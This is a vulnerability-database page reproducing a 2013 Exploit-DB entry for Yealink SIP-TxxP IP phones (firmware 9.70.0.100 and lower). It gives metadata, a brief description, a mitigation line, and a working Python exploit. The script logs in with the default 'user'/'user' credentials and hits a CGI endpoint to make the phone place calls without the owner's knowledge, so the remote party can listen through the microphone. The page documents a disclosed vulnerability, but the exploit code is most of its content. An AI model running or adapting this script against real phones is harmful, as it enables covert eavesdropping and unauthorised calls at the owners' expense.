header-logo
Suggest Exploit
vendor:
SIP-TxxP
by:
b0hr (francisco<[at]>garnelo.eu)
7,5
CVSS
HIGH
Phone Call Vulnerability
284
CWE
Product Name: SIP-TxxP
Affected Version From: 9.70.0.100 and lower
Affected Version To: 9.70.0.100 and lower
Patch Exists: YES
Related CWE: N/A
CPE: h:yealink:sip-txxp
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: YeaLink IP Phone SIP-T20P and SIP-T26P (hardware VoIP phone)
2013

YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability

It is possible to make calls from using the first available sip account, without supervision or confirmation of the user, also the call receiver can listen through the phone mic.

Mitigation:

Ensure that all users are authenticated before allowing them to make calls from the IP phone.
Source

Exploit-DB raw data:

# Exploit Title: [YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone
call vulnerability]
# Date: [05-28-2013]
# Exploit Author: [b0hr (francisco<[at]>garnelo.eu)]
# Vendor Homepage: [http://yealink.com]
# Software Link: [
http://yealink.com/product_list.aspx?BaseInfoCateId=147&CateId=147&ProductsCateID=147
]
# Version: 9.70.0.100 and lower]
# Tested on: [YeaLink IP Phone SIP-T20P and SIP-T26P (hardware VoIP
phone)]
# Vulnerability : [It's possible to make calls from using the first
available sip account, without supervision or confirmation of the user,
also the call receiver can listen through the phone mic .]

#!/usr/bin/python
 
import urllib2, sys
 
print "\n YeaLink IP Phone SIP-TxxP firmware <=9.70.0.100 phone call vulnerability - b0rh (francisco<[at]>garnelo.eu) - 2013-05-28 \n"

if (len(sys.argv) != 3):
    print ">> Use: " + sys.argv[0] + " <IP Phone> <phone number>"
    print ">> Ex: " + sys.argv[0] + " 127.0.0.1 123456789\n"
    exit(0)
 
IP = sys.argv[1]
num = sys.argv[2]
UrlGet_params = 'http://%s/cgi-bin/ConfigManApp.com?Id=34&Command=1&Number=%s&Account=0&sid=0.724202975169738' % (IP, num)
webU = 'user'
webP = 'user'

query = urllib2.HTTPPasswordMgrWithDefaultRealm()
query.add_password(None, UrlGet_params, webU, webP)
auth = urllib2.HTTPBasicAuthHandler(query)
log = urllib2.build_opener(auth)


urllib2.install_opener(log)

queryPag = urllib2.urlopen(UrlGet_params)

print "\n Call to %s form IP phone %s\n" %(num,IP)